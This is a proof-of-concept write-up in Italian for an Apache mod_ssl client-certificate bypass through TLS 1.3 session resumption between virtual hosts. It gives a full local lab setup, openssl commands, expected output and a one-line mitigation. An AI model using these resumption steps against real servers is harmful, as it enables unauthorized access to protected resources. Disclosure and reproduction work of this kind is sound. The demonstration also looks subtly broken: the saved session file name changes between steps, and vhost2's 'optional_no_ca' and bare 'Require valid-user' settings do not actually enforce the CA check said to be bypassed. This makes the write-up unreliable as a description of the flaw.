CVE-2025-23048: Bypass del certificato client nella ripresa della sessione TLS 1.3 di Apache mod_ssl

Le versioni 2.4.35 – 2.4.62 di Apache HTTP Server sono vulnerabili a un bypass dell'autenticazione tramite certificato client quando la ripresa della sessione TLS 1.3 viene utilizzata tra virtual host con direttive SSLCACertificateFile diverse.

Un attaccante in possesso di un certificato client valido per un virtual host può riprendere una sessione TLS 1.3 su un virtual host diverso che richiede un certificato emesso da una CA distinta — ottenendo accesso non autorizzato a risorse protette.

Ambiente di test

Apache HTTP Server: 2.4.57 (Win64)
Sistema operativo: Windows 10 (64-bit)

Configurazione del server

1. Installare Apache 2.4.57 (Win64)

Download from: https://www.apachelounge.com/download/VS16/binaries/httpd-2.4.57-win64-VS16.zip

Extract to C:\Apache24


### 2. Abilitare i moduli richiesti in `conf\httpd.conf`
```apache
LoadModule socache_shmcb_module modules/mod_socache_shmcb.so
LoadModule ssl_module modules/mod_ssl.so

3. Configurare la cache di sessione SSL

SSLSessionCache "shmcb:C:/Apache24/logs/ssl_scache(512000)"
SSLSessionCacheTimeout 300
SSLSessionTickets on

4. Creare la directory SSL e generare i certificati

cd C:\Apache24\conf
mkdir ssl
cd ssl

# Server cert (self-signed)
openssl req -x509 -newkey rsa:2048 -keyout server.key -out server.crt -days 365 -nodes -subj "/CN=localhost"

# CA1 and client cert for vhost1
openssl req -x509 -newkey rsa:2048 -keyout ca1.key -out ca1.pem -days 365 -nodes -subj "/CN=CA1"
openssl req -newkey rsa:2048 -keyout client_ca1.key -out client_ca1.csr -nodes -subj "/CN=Client1"
openssl x509 -req -in client_ca1.csr -CA ca1.pem -CAkey ca1.key -CAcreateserial -out client_ca1.crt -days 365

# CA2 for vhost2
openssl req -x509 -newkey rsa:2048 -keyout ca2.key -out ca2.pem -days 365 -nodes -subj "/CN=CA2"

# Cleanup
del client_ca1.csr *.srl

5. Configurare i virtual host (`conf\extra\httpd-vhosts.conf`)

<VirtualHost *:443>
    ServerName vhost1.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost1"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca1.pem"
    SSLVerifyClient optional
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location />
        Require ssl-verify-client
    </Location>
</VirtualHost>

<VirtualHost *:443>
    ServerName vhost2.example.com
    DocumentRoot "C:/Apache24/htdocs/vhost2"
    SSLEngine on
    SSLCertificateFile "C:/Apache24/conf/ssl/server.crt"
    SSLCertificateKeyFile "C:/Apache24/conf/ssl/server.key"
    SSLCACertificateFile "C:/Apache24/conf/ssl/ca2.pem"

    SSLVerifyClient optional_no_ca
    SSLVerifyDepth 1
    SSLProtocol all -SSLv2 -SSLv3 -TLSv1 -TLSv1.1 -TLSv1.2
    SSLStrictSNIVHostCheck off

    <Location /restricted>
        Require valid-user
    </Location>
</VirtualHost>

6. Creare il contenuto protetto

mkdir C:\Apache24\htdocs\vhost1
echo <html><body>Vhost1: Accessible with CA1</body></html> > C:\Apache24\htdocs\vhost1\index.html

mkdir C:\Apache24\htdocs\vhost2\restricted
echo <html><body>Restricted: Vhost2 Secret!</body></html> > C:\Apache24\htdocs\vhost2\restricted\index.html

7. Avviare Apache

C:\Apache24\bin>httpd.exe -k install
C:\Apache24\bin>httpd.exe -k start

Prova di concetto

Passo 1: Handshake completo con `vhost1` → Salvare la sessione

openssl s_client -servername vhost1.example.com -tls1_3 -cert "C:\Apache24\conf\ssl\client_ca1.crt" -key "C:\Apache24\conf\ssl\client_ca1.key" -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_out session_v1.pem 127.0.0.1:443

Input dopo la connessione:

GET / HTTP/1.1
Host: vhost1.example.com

Output atteso (troncato):

New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384
...
Post-Handshake New Session Ticket arrived:
...
HTTP/1.1 200 OK
...
<html><body>Vhost1: Accessible with CA1</body></html>

Ticket di sessione salvato in session_shared.pem.

Passo 2: Riprendere la sessione su `vhost2` → Accedere al percorso protetto

openssl s_client -servername vhost2.example.com -tls1_3 -CAfile "C:\Apache24\conf\ssl\server.crt" -sess_in session_v1.pem 127.0.0.1:443

Input:

GET /restricted/ HTTP/1.1
Host: vhost2.example.com

Output atteso (critico):

SSL-Session:
    Protocol  : TLSv1.3
    Cipher    : TLS_AES_256_GCM_SHA384
    Resumption PSK: ...
    TLS session ticket lifetime hint: 300 (seconds)
...
HTTP/1.1 200 OK
...
<html><body>Restricted: Vhost2 Secret!</body></html>

Il certificato client di CA1 è stato accettato su vhost2 (che si fida solo di CA2)
Non si è verificata alcuna ri-autenticazione — la ripresa della sessione ha aggirato il controllo della CA

Mitigazione

SSLStrictSNIVHostCheck on

in tutti i virtual host TLS 1.3 che richiedono CA client distinte.

Disabilita la ripresa della sessione tra SNI diversi — previene il bypass.

CVE-2025-23048-POC

Più Popolari